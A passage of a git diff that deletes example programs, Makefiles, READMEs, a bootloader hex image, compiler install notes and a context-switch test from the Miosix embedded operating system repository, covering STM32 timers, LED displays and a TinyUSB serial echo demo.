if(t>now) - { - this_thread::sleep_until(t); - } else { - b++; //Deadline miss - t=now; - } - ExampleData ed(a++,b,t.time_since_epoch().count()); - logger.log(ed); - } - - logger.stop(); - - iprintf("Lost %d samples, missed %d deadlines\n", - logger.getStats().statDroppedSamples,b); -} - -int main() -{ - puts("Type enter to start logger demo"); - getchar(); - auto t=Thread::create(loggerDemo,2048,PRIORITY_MAX-1,nullptr,Thread::JOINABLE); - puts("Type enter to stop logger demo"); - getchar(); - stop=true; - t->join(); - puts("Bye"); -} diff --git a/miosix/_examples/datalogger/tscpp b/miosix/_examples/datalogger/tscpp deleted file mode 160000 index 4a5f54076..000000000 --- a/miosix/_examples/datalogger/tscpp +++ /dev/null @@ -1 +0,0 @@ -Subproject commit 4a5f54076ea924dacb5414c0f6183a669efc1eff diff --git a/miosix/_examples/ir_decoder/ir_decoder.cpp b/miosix/_examples/ir_decoder/ir_decoder.cpp deleted file mode 100644 index 6df9f5305..000000000 --- a/miosix/_examples/ir_decoder/ir_decoder.cpp +++ /dev/null @@ -1,87 +0,0 @@ - -#include -#include -#include -#include "e20/e20.h" -#include "miosix.h" -#include "kernel/scheduler/scheduler.h" - -using namespace std; -using namespace miosix; - -//Connect IR sensor output to PC6 of the stm32f4discovery -typedef Gpio timerIn; - -static unsigned short previous=0; - -void start() -{ - previous=0; - printf("start\n"); -} - -void timestamp(unsigned short t) -{ - unsigned short delta=t-previous; - previous=t; - printf("%d\n",delta); -} - -void stop() -{ - printf("stop\n"); -} - -FixedEventQueue<100,12> queue; - -void __attribute__((used)) tim3impl() -{ - bool hppw=false; - if(TIM3->SR & TIM_SR_UIF) - { - queue.IRQpost(bind(stop),hppw); - } else { - if(TIM3->CR1 & TIM_CR1_CEN) - { - queue.IRQpost(bind(timestamp,TIM3->CCR1),hppw); - } else { - TIM3->CR1|=TIM_CR1_CEN; //Start timer at first edge - queue.IRQpost(bind(start),hppw); - } - } - TIM3->SR=0; //Clear interrupt flag - if(hppw) Scheduler::IRQfindNextThread(); -} - -void __attribute__((naked)) TIM3_IRQHandler() -{ - saveContext(); - asm volatile("bl _Z8tim3implv"); - restoreContext(); -} - -int main() -{ - { - FastInterruptDisableLock dLock; - RCC->APB1ENR |= RCC_APB1ENR_TIM3EN; - RCC_SYNC(); - } - TIM3->CNT=0; - TIM3->PSC=84-1; //Prescaler clocked at 84MHz, timer incremented every 1us - TIM3->ARR=0xffff; - TIM3->EGR=TIM_EGR_UG; //Update ARR shadow register - TIM3->SR=0; //Clear interrupt flag caused by setting UG - TIM3->CCMR1=TIM_CCMR1_CC1S_0; - TIM3->CCER=TIM_CCER_CC1P - | TIM_CCER_CC1NP - | TIM_CCER_CC1E; - TIM3->DIER=TIM_DIER_CC1IE - | TIM_DIER_UIE; - TIM3->CR1=TIM_CR1_OPM; //One pulse mode, timer not started yet - timerIn::mode(Mode::ALTERNATE); - timerIn::alternateFunction(2); - NVIC_SetPriority(TIM3_IRQn,8); - NVIC_EnableIRQ(TIM3_IRQn); - queue.run(); -} diff --git a/miosix/_examples/led_display/main.cpp b/miosix/_examples/led_display/main.cpp deleted file mode 100644 index 14eeb6b37..000000000 --- a/miosix/_examples/led_display/main.cpp +++ /dev/null @@ -1,108 +0,0 @@ - -//Example to drive an 8-digit common cathode multiplexed 7-segment LED display. -//Add current limiting resistors and digit drivers as needed. -//Written for stm32vldiscovery, change GPIOs and the line mentioning AFIO->MAPR -//if targeting another board. - -#include -#include - -using namespace miosix; - -typedef Gpio segmentA; -typedef Gpio segmentB; -typedef Gpio segmentC; -typedef Gpio segmentD; -typedef Gpio segmentE; -typedef Gpio segmentF; -typedef Gpio segmentG; -typedef Gpio segmentDP; -typedef Gpio digit0; -typedef Gpio digit1; -typedef Gpio digit2; -typedef Gpio digit3; -typedef Gpio digit4; -typedef Gpio digit5; -typedef Gpio digit6; -typedef Gpio digit7; - -static void outSegment(unsigned char segment) -{ - #define S2G(x,y,z) if(y & (1<MAPR=1<<25;//To free PB3 and PB4 from JTAG in stm32vldiscovery - CONFIG(digit0); - CONFIG(digit1); - CONFIG(digit2); - CONFIG(digit3); - CONFIG(digit4); - CONFIG(digit5); - CONFIG(digit6); - CONFIG(digit7); - CONFIG(segmentA); - CONFIG(segmentB); - CONFIG(segmentC); - CONFIG(segmentD); - CONFIG(segmentE); - CONFIG(segmentF); - CONFIG(segmentG); - CONFIG(segmentDP); - } - #undef CONFIG - #define DIGIT(x,y) \ - outSegment(digits[y]); x::low(); Thread::sleep(2); x::high() - for(;;) - { - DIGIT(digit0,0); - DIGIT(digit1,1); - DIGIT(digit2,2); - DIGIT(digit3,3); - DIGIT(digit4,4); - DIGIT(digit5,5); - DIGIT(digit6,6); - DIGIT(digit7,7); - } - #undef DIGIT -} - -static const unsigned char digitTable[]= -{ - 0x3f,0x06,0x5b,0x4f,0x66,0x6d,0x7d,0x07,0x7f,0x6f -}; - -static void number(int x) -{ - for(int i=0;i<8;i++) - { - digits[i]=digitTable[x % 10]; - x/=10; - } -} - -int main() -{ - memset(digits,0,sizeof(digits)); - Thread::create(displayThread,STACK_MIN); - for(int i=0;;i++) - { - number(i); - Thread::sleep(10); - } -} diff --git a/miosix/_examples/sad_trombone/Makefile b/miosix/_examples/sad_trombone/Makefile deleted file mode 100644 index 6ecd26db3..000000000 --- a/miosix/_examples/sad_trombone/Makefile +++ /dev/null @@ -1,50 +0,0 @@ -## -## Makefile for Miosix embedded OS -## - -## Path to kernel/config directories (edited by init_project_out_of_git_repo.pl) -KPATH := miosix -CONFPATH := $(KPATH) -MAKEFILE_VERSION := 1.15 -include $(KPATH)/Makefile.kcommon - -## -## List here your source files (both .s, .c and .cpp) -## -SRC := main.cpp player.cpp adpcm.c - -## -## List here additional include directories (in the form -Iinclude_dir) -## -INCLUDE_DIRS := - -## -## List here additional static libraries with relative path -## -LIBS := - -## -## List here subdirectories which contains makefiles -## -SUBDIRS += - -## -## Attach a romfs filesystem image after the kernel -## -ROMFS_DIR := - -all: $(if $(ROMFS_DIR), image, main) - -main: $(OBJ) all-recursive - $(ECHO) "[LD ] main.elf" - $(Q)$(CXX) $(LFLAGS) -o main.elf $(OBJ) $(LINK_LIBS) - $(ECHO) "[CP ] main.hex" - $(Q)$(CP) -O ihex main.elf main.hex - $(ECHO) "[CP ] main.bin" - $(Q)$(CP) -O binary main.elf main.bin - $(Q)$(SZ) main.elf - -clean: clean-recursive - $(Q)rm -f $(OBJ) $(OBJ:.o=.d) main.elf main.hex main.bin main.map - --include $(OBJ:.o=.d) diff --git a/miosix/_examples/sad_trombone/Readme.txt b/miosix/_examples/sad_trombone/Readme.txt deleted file mode 100644 index a3e9e0e0a..000000000 --- a/miosix/_examples/sad_trombone/Readme.txt +++ /dev/null @@ -1,25 +0,0 @@ - -This example shows how to synchronize between a thread and a DMA peripheral. -To run this example, copy the content of this directory into the top level -directory. - -This example supports the following two boards: - -1) stm32f4discovery -=================== - -This board has a builting I2S audio DAC, just configure the kernel for -this board (OPT_BOARD := stm32f407vg_stm32f4discovery in Makefile.inc), -make; make program and plug headphone jack to the board's connector. - -2) stm32vldiscovery -=================== - -Follow the kernel configuration procedure for this board here: - -http://miosix.org/boards/stm32vldiscovery-config.html - -To be able to hear the audio file, build one of the two circuits found in -the circuit.jpeg file. The top one is a speaker amplifier, the bottom one -is a filter whose output is suitable to drive an amplified speaker -(such as a PC speaker). diff --git a/miosix/_examples/tinyusb/Makefile b/miosix/_examples/tinyusb/Makefile deleted file mode 100644 index 9fa1c60f7..000000000 --- a/miosix/_examples/tinyusb/Makefile +++ /dev/null @@ -1,50 +0,0 @@ -## -## Makefile for Miosix embedded OS -## - -## Path to kernel/config directories (edited by init_project_out_of_git_repo.pl) -KPATH := miosix -CONFPATH := $(KPATH) -MAKEFILE_VERSION := 1.15 -include $(KPATH)/Makefile.kcommon - -## -## List here your source files (both .s, .c and .cpp) -## -SRC := main.cpp - -## -## List here additional include directories (in the form -Iinclude_dir) -## -INCLUDE_DIRS := -I./tinyusb/tinyusb/src -I./tinyusb - -## -## List here additional static libraries with relative path -## -LIBS := tinyusb/libtinyusb.a - -## -## List here subdirectories which contains makefiles -## -SUBDIRS += tinyusb - -## -## Attach a romfs filesystem image after the kernel -## -ROMFS_DIR := - -all: $(if $(ROMFS_DIR), image, main) - -main: $(OBJ) all-recursive - $(ECHO) "[LD ] main.elf" - $(Q)$(CXX) $(LFLAGS) -o main.elf $(OBJ) $(LINK_LIBS) - $(ECHO) "[CP ] main.hex" - $(Q)$(CP) -O ihex main.elf main.hex - $(ECHO) "[CP ] main.bin" - $(Q)$(CP) -O binary main.elf main.bin - $(Q)$(SZ) main.elf - -clean: clean-recursive - $(Q)rm -f $(OBJ) $(OBJ:.o=.d) main.elf main.hex main.bin main.map - --include $(OBJ:.o=.d) diff --git a/miosix/_examples/tinyusb/README.md b/miosix/_examples/tinyusb/README.md deleted file mode 100644 index 38c88d9d1..000000000 --- a/miosix/_examples/tinyusb/README.md +++ /dev/null @@ -1,100 +0,0 @@ -# TinyUSB example - -This example shows how to use TinyUSB (https://www.tinyusb.org/) with -Miosix, implementing a simple application which exposes via USB a virtual -serial port which echoes incoming characters. - -As is, the example is made for a stm32f4discovery board, but it can be adapted -for other boards. - -## Structure of the example - -The `tinyusb` directory contains a separate Makefile just for building -TinyUSB separately, creating a static library called `libtinyusb.a`. This is -done to ensure the TinyUSB sources are compiled as C++, which simplifies -the integration with Miosix. - -The TinyUSB source code should be cloned (either using git normally or by -adding a submodule) inside the `tinyusb` directory. Thus, the final directory -structure will be: - -``` -main.cpp -Makefile -tinyusb\ - Makefile - tusb_config.h - tusb_os_custom.h - cmsis_stubs\ - stm32f2xx.h - ... - tinyusb\ <- Root of the TinyUSB source - docs\ - examples\ - hw\ - lib\ - src\ - test\ - tools\ - LICENSE - README.rst - ... -``` - -The example was developed based on TinyUSB 0.15.0 (commit SHA -86c416d4c0fb38432460b3e11b08b9de76941bf5) and may not work with newer versions. -When updating TinyUSB, always remember to also update the Makefile to include -any new source code file in TinyUSB (or remove any file that was removed). - -The `tinyusb/tusb_os_custom.h` file contains the Miosix-specific implementations -for the concurrency primitives required by TinyUSB. - -The `tinyusb/tusb_config.h` file configures which class drivers and ports are -enabled, and which device driver should be used by TinyUSB. Always make sure -that the definition of `CFG_TUSB_MCU` is consistent with the board selection -made in Miosix's `Makefile.inc`. - -The `cmsis_stubs` directory contains files named in the same way as the -STM32 CMSIS device headers, for use by TinyUSB which includes these files -directly in its device drivers. Unfortunately, due to the directory structure -of Miosix, these files cannot be included by TinyUSB directly without issues; -one is supposed to include `interfaces/arch_registers.h` instead. Using these -files we allow TinyUSB to include `interfaces/arch_registers.h` without -needing to modify TinyUSB's source code. Only a few example stub files have been -included; add new stubs as needed for your project. - -## Compiling this example - -To try out this example, get a stm32f4-discovery board, then follow these steps: - -1. Copy and paste the `tinyusb` directory, the `main.cpp` and `Makefile` in the - root of the repository -2. Select the `stm32f407vg_stm32f4discovery` board in `Makefile.inc` -3. Disable the safety guard in `miosix_settings.h` -4. Perform the following commands in the root of the repository: - ``` - cd tinyusb - git clone https://github.com/hathach/tinyusb.git - cd tinyusb - git checkout 86c416d4c0fb38432460b3e11b08b9de76941bf5 - ``` -5. Compile normally by running `make clean; make` in the root of the repository. - -## Using this example as a template - -To use TinyUSB in a new Miosix project, follow these steps: - -1. Copy and paste the `tinyusb` directory of this example in your project -2. In your Makefile, add the following subdirectories, libraries and includes: - ``` - SUBDIRS := ... tinyusb - LIBS := ... tinyusb/libtinyusb.a - INCLUDE_DIRS := ... -I./tinyusb/tinyusb/src -I./tinyusb - ``` -3. Clone TinyUSB in the `tinyusb` directory -4. Copy and paste the interrupt handle definition from the example `main.cpp` - in your main -5. Customize `tusb_config.h` to select the class driver, target device, and add - callbacks in your main to configure the USB descriptors. Follow TinyUSB's - documentation for performing this step. -6. Done! diff --git a/miosix/_examples/tinyusb/main.cpp b/miosix/_examples/tinyusb/main.cpp deleted file mode 100644 index 3531ba81b..000000000 --- a/miosix/_examples/tinyusb/main.cpp +++ /dev/null @@ -1,295 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2023, 2024 by Daniele Cattaneo * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#include -#include "miosix.h" -#include "tusb.h" - -using namespace std; -using namespace miosix; - -namespace usb { - -using vbus = Gpio; -using id = Gpio; -using dm = Gpio; -using dp = Gpio; - -} - -void *usbThread(void *unused) -{ - iprintf("USB thread running\n"); - while (!Thread::testTerminate()) tud_task(); - return nullptr; -} - -int main() -{ - bool vbusSensing = true; - { - FastInterruptDisableLock dLock; - - //Turn on USB peripheral - RCC->AHB2ENR |= RCC_AHB2ENR_OTGFSEN; - RCC_SYNC(); - - //Configure USB pins. ID is optional (only needed for USB OTG) - usb::id::alternateFunction(10); - usb::dm::alternateFunction(10); - usb::dp::alternateFunction(10); - usb::id::mode(Mode::ALTERNATE); - usb::dm::mode(Mode::ALTERNATE); - usb::dp::mode(Mode::ALTERNATE_OD); - - //VBUS sensing allows the USB device to detect connections and - //disconnections by looking at the 5V coming in from the host. For - //this feature to work, the USB VCC must be connected to PA9, no - //other pin works. - if (vbusSensing) - { - usb::vbus::mode(Mode::INPUT); - USB_OTG_FS->GCCFG &= ~USB_OTG_GCCFG_NOVBUSSENS; - USB_OTG_FS->GCCFG |= USB_OTG_GCCFG_VBUSBSEN; - } else { - USB_OTG_FS->GCCFG |= USB_OTG_GCCFG_NOVBUSSENS; - USB_OTG_FS->GCCFG &= ~USB_OTG_GCCFG_VBUSBSEN; - USB_OTG_FS->GCCFG &= ~USB_OTG_GCCFG_VBUSASEN; - } - } - - bool r = tusb_init(); - if (!r) - { - iprintf("USB initialization error\n"); - return 0; - } - Thread::create(usbThread,2048U,Priority(0),nullptr,0); - - for (;;) - { - Thread::nanoSleep(1000000); - if (tud_cdc_n_available(0)) - { - uint8_t buf[64]; - uint32_t count = tud_cdc_n_read(0, buf, sizeof(buf) - 1); - for(uint32_t i=0; i(&desc_device); -} - -// Called when the configuration descriptor is requested from the host. -// TinyUSB will automatically configure and instantiate the appropriate USB -// drivers depending on the descriptor, therefore this is the main source of -// truth for things like endpoint IDs and so on. -// Descriptor contents must exist long enough for transfer to complete. -uint8_t const *tud_descriptor_configuration_cb(uint8_t index) -{ - enum USBInterfaceID { - CDC = 0, - CDCData, // Implicitly added by the TUD_CDC_DESCRIPTOR macro - Total - }; - enum USBEndpointID { - CDCOut = 0x02, - CDCNotif = 0x81, - CDCIn = 0x82 - }; - static const size_t length = TUD_CONFIG_DESC_LEN + TUD_CDC_DESC_LEN; - static uint8_t const desc_fs_configuration[length] = { - // Configuration descriptor - TUD_CONFIG_DESCRIPTOR( - 1, // config number - USBInterfaceID::Total, // interface count - USBStringDescID::None, // string index - length, // total length - 0x00, // attribute - 100 // power in mA - ), - // Interface descriptor (macro sets class/subclass automatically) - TUD_CDC_DESCRIPTOR( - USBInterfaceID::CDC, // Interface number - USBStringDescID::None, // string index - USBEndpointID::CDCNotif, // notification endpoint address - 8, // notification endpoint size - USBEndpointID::CDCOut, // data out endpoint address - USBEndpointID::CDCIn, // data in endpoint address - 64 // data endpoint size - ), - }; - return desc_fs_configuration; -} - -struct __attribute__((packed)) STM32DeviceIDFields -{ - uint16_t waferX; - uint16_t waferY; - uint8_t wafer; - char lot[7]; -}; -#define STM32_DEVICE_ID (reinterpret_cast(UID_BASE)) - -template -struct USBStringDesc -{ - uint8_t size; - uint8_t type = TUSB_DESC_STRING; - char16_t str[L]; -}; - -// Invoked when host requests each string descriptor. -// Application returns a pointer to descriptor, whose contents must exist long -// enough for transfer to complete. -uint16_t const *tud_descriptor_string_cb(uint8_t index, uint16_t langid) -{ - static const size_t descMaxStrLen=31; - static USBStringDesc desc; - uint8_t length; - - if(index==USBStringDescID::LocaleIDs) // Locale ID - { - desc.str[0]=0x0409; // US English - length=1; - } else { - const char *str; - const int chipid_length = 7+2+4+4; - char chipid_buf[chipid_length+1]; - - if(index == USBStringDescID::Manufacturer) str = "Miosix TinyUSB"; - else if(index == USBStringDescID::Product) str = "USB CDC Example"; - else if(index == USBStringDescID::Serial) { // Serial - for(int i=0; i<7; i++) chipid_buf[i] = STM32_DEVICE_ID->lot[i]; - siprintf(chipid_buf+7, "%02X%04X%04X", - STM32_DEVICE_ID->wafer, - STM32_DEVICE_ID->waferX, - STM32_DEVICE_ID->waferY); - str = chipid_buf; - } else { - // Do not return anything for other indexes (for example 0xEE which - // is Windows-proprietary) - return NULL; - } - // copy string into descriptor buffer, lazily converting it to UTF-16 - length = (uint8_t)strlen(str); - if(length > descMaxStrLen) length = descMaxStrLen; - for(int i=0; i(&desc); -} diff --git a/miosix/_examples/tinyusb/tinyusb/Makefile b/miosix/_examples/tinyusb/tinyusb/Makefile deleted file mode 100644 index 95f26be8b..000000000 --- a/miosix/_examples/tinyusb/tinyusb/Makefile +++ /dev/null @@ -1,95 +0,0 @@ -## -## Makefile for tinyusb Miosix integration -## This makefile builds libtinyusb.a -## - -## KPATH and CONFPATH are forwarded by the parent Makefile -MAKEFILE_VERSION := 1.15 -include $(KPATH)/Makefile.kcommon - -## List of all tinyusb source files (both .c and .cpp) -## These files will end up in libtinyusb.a -SRC := \ - tinyusb/src/host/hub.c \ - tinyusb/src/host/usbh.c \ - tinyusb/src/portable/nordic/nrf5x/dcd_nrf5x.c \ - tinyusb/src/portable/synopsys/dwc2/dcd_dwc2.c \ - tinyusb/src/portable/valentyusb/eptri/dcd_eptri.c \ - tinyusb/src/portable/ehci/ehci.c \ - tinyusb/src/portable/bridgetek/ft9xx/dcd_ft9xx.c \ - tinyusb/src/portable/nxp/lpc_ip3511/dcd_lpc_ip3511.c \ - tinyusb/src/portable/nxp/khci/dcd_khci.c \ - tinyusb/src/portable/nxp/khci/hcd_khci.c \ - tinyusb/src/portable/nxp/lpc17_40/dcd_lpc17_40.c \ - tinyusb/src/portable/nxp/lpc17_40/hcd_lpc17_40.c \ - tinyusb/src/portable/nxp/transdimension/hcd_transdimension.c \ - tinyusb/src/portable/nxp/transdimension/dcd_transdimension.c \ - tinyusb/src/portable/ohci/ohci.c \ - tinyusb/src/portable/wch/ch32v307/dcd_usbhs.c \ - tinyusb/src/portable/template/dcd_template.c \ - tinyusb/src/portable/mentor/musb/hcd_musb.c \ - tinyusb/src/portable/mentor/musb/dcd_musb.c \ - tinyusb/src/portable/st/synopsys/dcd_synopsys.c \ - tinyusb/src/portable/st/stm32_fsdev/dcd_stm32_fsdev.c \ - tinyusb/src/portable/dialog/da146xx/dcd_da146xx.c \ - tinyusb/src/portable/chipidea/ci_hs/dcd_ci_hs.c \ - tinyusb/src/portable/chipidea/ci_hs/hcd_ci_hs.c \ - tinyusb/src/portable/sunxi/dcd_sunxi_musb.c \ - tinyusb/src/portable/microchip/samx7x/dcd_samx7x.c \ - tinyusb/src/portable/microchip/samg/dcd_samg.c \ - tinyusb/src/portable/microchip/pic/dcd_pic.c \ - tinyusb/src/portable/microchip/pic32mz/dcd_pic32mz.c \ - tinyusb/src/portable/microchip/samd/dcd_samd.c \ - tinyusb/src/portable/nuvoton/nuc121/dcd_nuc121.c \ - tinyusb/src/portable/nuvoton/nuc120/dcd_nuc120.c \ - tinyusb/src/portable/nuvoton/nuc505/dcd_nuc505.c \ - tinyusb/src/portable/renesas/usba/dcd_usba.c \ - tinyusb/src/portable/renesas/usba/hcd_usba.c \ - tinyusb/src/portable/espressif/esp32sx/dcd_esp32sx.c \ - tinyusb/src/portable/raspberrypi/rp2040/rp2040_usb.c \ - tinyusb/src/portable/raspberrypi/rp2040/dcd_rp2040.c \ - tinyusb/src/portable/raspberrypi/rp2040/hcd_rp2040.c \ - tinyusb/src/portable/raspberrypi/pio_usb/hcd_pio_usb.c \ - tinyusb/src/portable/raspberrypi/pio_usb/dcd_pio_usb.c \ - tinyusb/src/portable/sony/cxd56/dcd_cxd56.c \ - tinyusb/src/portable/mindmotion/mm32/dcd_mm32f327x_otg.c \ - tinyusb/src/portable/ti/msp430x5xx/dcd_msp430x5xx.c \ - tinyusb/src/common/tusb_fifo.c \ - tinyusb/src/class/cdc/cdc_rndis_host.c \ - tinyusb/src/class/cdc/cdc_host.c \ - tinyusb/src/class/cdc/cdc_device.c \ - tinyusb/src/class/video/video_device.c \ - tinyusb/src/class/net/ncm_device.c \ - tinyusb/src/class/net/ecm_rndis_device.c \ - tinyusb/src/class/dfu/dfu_rt_device.c \ - tinyusb/src/class/dfu/dfu_device.c \ - tinyusb/src/class/midi/midi_device.c \ - tinyusb/src/class/usbtmc/usbtmc_device.c \ - tinyusb/src/class/bth/bth_device.c \ - tinyusb/src/class/audio/audio_device.c \ - tinyusb/src/class/msc/msc_host.c \ - tinyusb/src/class/msc/msc_device.c \ - tinyusb/src/class/hid/hid_device.c \ - tinyusb/src/class/hid/hid_host.c \ - tinyusb/src/class/vendor/vendor_host.c \ - tinyusb/src/class/vendor/vendor_device.c \ - tinyusb/src/device/usbd_control.c \ - tinyusb/src/device/usbd.c \ - tinyusb/src/tusb.c - -INCLUDE_DIRS := -I. -I./cmsis_stubs -I./tinyusb/src -I$(CONFPATH)/config - -all: $(OBJ) - $(ECHO) "[AR ] libtinyusb.a" - $(Q)$(AR) rcs libtinyusb.a $(OBJ) - -clean: - -rm -f $(OBJ) $(OBJ:.o=.d) libtinyusb.a - -# We need to compile all .c files with the C++ compiler for integrating TinyUSB -# without becoming crazy -%.o : %.c - $(ECHO) "[CXX ] $<" - $(Q)$(CXX) $(CXXFLAGS) $< -o $@ - --include $(OBJ:.o=.d) diff --git a/miosix/_tools/bin2uf2/Makefile b/miosix/_tools/bin2uf2/Makefile deleted file mode 100644 index da625c6b6..000000000 --- a/miosix/_tools/bin2uf2/Makefile +++ /dev/null @@ -1,60 +0,0 @@ -## -## Makefile for Miosix embedded OS -## - -## Path to kernel/config directories (edited by init_project_out_of_git_repo.pl) -KPATH := miosix -CONFPATH := $(KPATH) -MAKEFILE_VERSION := 1.15 -include $(KPATH)/Makefile.kcommon - -## -## List here your source files (both .s, .c and .cpp) -## -SRC := main.cpp - -## -## List here additional include directories (in the form -Iinclude_dir) -## -INCLUDE_DIRS := - -## -## List here additional static libraries with relative path -## -LIBS := - -## -## List here subdirectories which contains makefiles -## -SUBDIRS += - -## -## Attach a romfs filesystem image after the kernel -## -ROMFS_DIR := - -all: $(if $(ROMFS_DIR), image, main) - -main: $(OBJ) all-recursive $(TOOLS_DIR)/bin2uf2/bin2uf2 - $(ECHO) "[LD ] main.elf" - $(Q)$(CXX) $(LFLAGS) -o main.elf $(OBJ) $(LINK_LIBS) - $(ECHO) "[CP ] main.hex" - $(Q)$(CP) -O ihex main.elf main.hex - $(ECHO) "[CP ] main.bin" - $(Q)$(CP) -O binary main.elf main.bin - $(ECHO) "[UF2 ] main.uf2" - $(TOOLS_DIR)/bin2uf2/bin2uf2 -s 0x10000000 -f 0xe48bff56 -p main.bin -o main.uf2 - $(Q)$(SZ) main.elf - -$(TOOLS_DIR)/bin2uf2/bin2uf2: - $(ECHO) "[HOST] bin2uf2" - $(Q)mkdir -p $(TOOLS_DIR)/bin2uf2/build - $(Q)cd $(TOOLS_DIR)/bin2uf2/build \ - && cmake --log-level=ERROR .. && $(MAKE) -s - -clean: clean-recursive - $(Q)rm -f $(OBJ) $(OBJ:.o=.d) main.elf main.hex main.bin main.map - $(Q)rm -f main.uf2 image.uf2 $(TOOLS_DIR)/bin2uf2/bin2uf2 - $(Q)rm -rf $(TOOLS_DIR)/bin2uf2/build - --include $(OBJ:.o=.d) diff --git a/miosix/_tools/bootloaders/stm32/Readme.txt b/miosix/_tools/bootloaders/stm32/Readme.txt deleted file mode 100644 index e25930482..000000000 --- a/miosix/_tools/bootloaders/stm32/Readme.txt +++ /dev/null @@ -1,5 +0,0 @@ -This bootloader works for the following boards: --stm3210e-eval --stm3220g-eval - -see miosix/doc/textdoc/stm32-bootloader.txt \ No newline at end of file diff --git a/miosix/_tools/bootloaders/stm32/uc_loader_ethboardv2/bootloader.bin b/miosix/_tools/bootloaders/stm32/uc_loader_ethboardv2/bootloader.bin deleted file mode 100644 index 645ac65d6..000000000 Binary files a/miosix/_tools/bootloaders/stm32/uc_loader_ethboardv2/bootloader.bin and /dev/null differ diff --git a/miosix/_tools/bootloaders/stm32/uc_loader_ethboardv2/bootloader.hex b/miosix/_tools/bootloaders/stm32/uc_loader_ethboardv2/bootloader.hex deleted file mode 100644 index 705e0c1e7..000000000 --- a/miosix/_tools/bootloaders/stm32/uc_loader_ethboardv2/bootloader.hex +++ /dev/null @@ -1,204 +0,0 @@ -:1000000000000220F1080000210400002D0400007F -:100010003904000045040000510400000000000005 -:100020000000000000000000000000005D0400006F -:100030006904000000000000750400008104000055 -:100040008D04000099040000A5040000B104000024 -:10005000BD040000C9040000D5040000E104000054 -:10006000ED040000F9040000050500001105000082 -:100070001D050000290500003505000041050000B0 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a/miosix/_tools/compiler/gcc-9.2.0-mp3.2/.gitignore +++ /dev/null @@ -1,16 +0,0 @@ -downloaded -objdir -newlib-obj -lib -gcc -dist -log -binutils-* -gcc-* -gdb-* -gmp-* -mpc-* -mpfr-* -newlib-* -expat-* -lpc21isp.c diff --git a/miosix/_tools/compiler/gcc-9.2.0-mp3.2/Readme.txt b/miosix/_tools/compiler/gcc-9.2.0-mp3.2/Readme.txt deleted file mode 100644 index c4cb758c1..000000000 --- a/miosix/_tools/compiler/gcc-9.2.0-mp3.2/Readme.txt +++ /dev/null @@ -1,79 +0,0 @@ -This is the readme for installing the arm-miosix-eabi-gcc compiler, -required to build Miosix. -Currently this can only be done on Linux, even when compiling a -compiler that will work for Windows. -=================================================================== - - -Step 1 ------- -Copy this folder in a path without spaces, or compiling will fail. -Example: -/home/foo/temp OK -/home/foo/directory with spaces/temp NO!! - - -Step 2 ------- -Install the following dependencies: -gcc, g++, make, ncurses, byacc, flex, texinfo, patch, tar, unzip, lzip, libelf perl libexpat - -For example, for Ubuntu/Kubuntu open a shell and type: -sudo apt-get install gcc g++ make libncurses5-dev byacc flex texinfo patch tar unzip lzip libelf-dev perl libexpat1-dev - -While on Fedora: -sudo yum intall gcc gcc-c++ make ncurses-devel byacc flex texinfo patch tar unzip lzip elfutils-libelf-devel perl libexpat-devel - -Note: these scripts require "sudo" unless you want to intall the compiler locally. -If you use a distro like Fedora where sudo is not enabled by default, use "visudo" to enable sudo for your account. - -Step 3 ------- -Download the the required sources with the download script: - -./download.sh - - -Step 4 ------- -After meeting these prerequisites, install: - -./install-script.sh -j`nproc` -./cleanup.sh - -Both scripts will prompt for root password at some point. It is normal, -since they need to write in /opt and /usr/bin. -The cleanup script won't remove the compressed files downloaded with the -download script. You might want to do so manually to save space on your disk. - - -Step 5 ------- -Test the compiler by typing in a shell - -arm-miosix-eabi-gcc -v - -If you get something like - -bash: arm-miosix-eabi-gcc: command not found - -it means something did not work. - - -Step 6 ------- -If required, also install OpenOCD for in circuit debugging. -There are no scripts for doing that, since it is rather independent on the -gcc version. On many distros it is also available thrugh package managers, -for example on Ubuntu/Kubuntu you can install it with - -sudo apt-get install openocd - -Uninstalling the compiler -========================= -In case you need to uninstall the compiler (perhaps because you need to install -an upgraded version as part of a new Miosix release) you can run the - -./uninstall.sh - -script. diff --git a/miosix/_tools/context_switch_test/main.cpp b/miosix/_tools/context_switch_test/main.cpp deleted file mode 100644 index caade1904..000000000 --- a/miosix/_tools/context_switch_test/main.cpp +++ /dev/null @@ -1,66 +0,0 @@ -#include -#include "miosix.h" -#include "kernel/logging.h" -#include "interfaces/arch_registers.h" - -using namespace std; -using namespace miosix; - -// This program attempts to test context switching behavior. -// The main thread is busy doing IO work while a secondary thread continuously -// checks for its registers not to change. -// If register corruption is detected in the second thread, the program hangs -// up. - -extern "C" void fail() -{ - __disable_irq(); - for(;;); -} - -void *otherThread(void *unused) -{ - asm(" cpsid i\n" - " ldr r0,=0x55555555\n" - " mov r1,r0\n" - " mov r2,r0\n" - " mov r3,r0\n" - " mov r4,r0\n" - " mov r5,r0\n" - " mov r6,r0\n" - " mov r7,r0\n" - " mov r8,r0\n" - " mov r9,r0\n" - " mov r10,r0\n" - " mov r11,r0\n" - " mov r12,r0\n" - " cpsie i\n" - "1: cmp r0, r1\n bne 1f\n" - " cmp r1, r0\n bne 1f\n" - " cmp r2, r0\n bne 1f\n" - " cmp r3, r0\n bne 1f\n" - " cmp r4, r0\n bne 1f\n" - " cmp r5, r0\n bne 1f\n" - " cmp r6, r0\n bne 1f\n" - " cmp r7, r0\n bne 1f\n" - " cmp r8, r0\n bne 1f\n" - " cmp r9, r0\n bne 1f\n" - " cmp r10,r0\n bne 1f\n" - " cmp r11,r0\n bne 1f\n" - " cmp r12,r0\n bne 1f\n" - " b 1b\n" - "1: bl fail\n"::: - "r0","r1","r2","r3","r4","r5","r6","r7","r8","r9","r10","r11","r12"); - return nullptr; -} - -int main() -{ - Thread::create(otherThread, 1024); - for (;;) - { - iprintf("blah blah blah blah blah blah blah 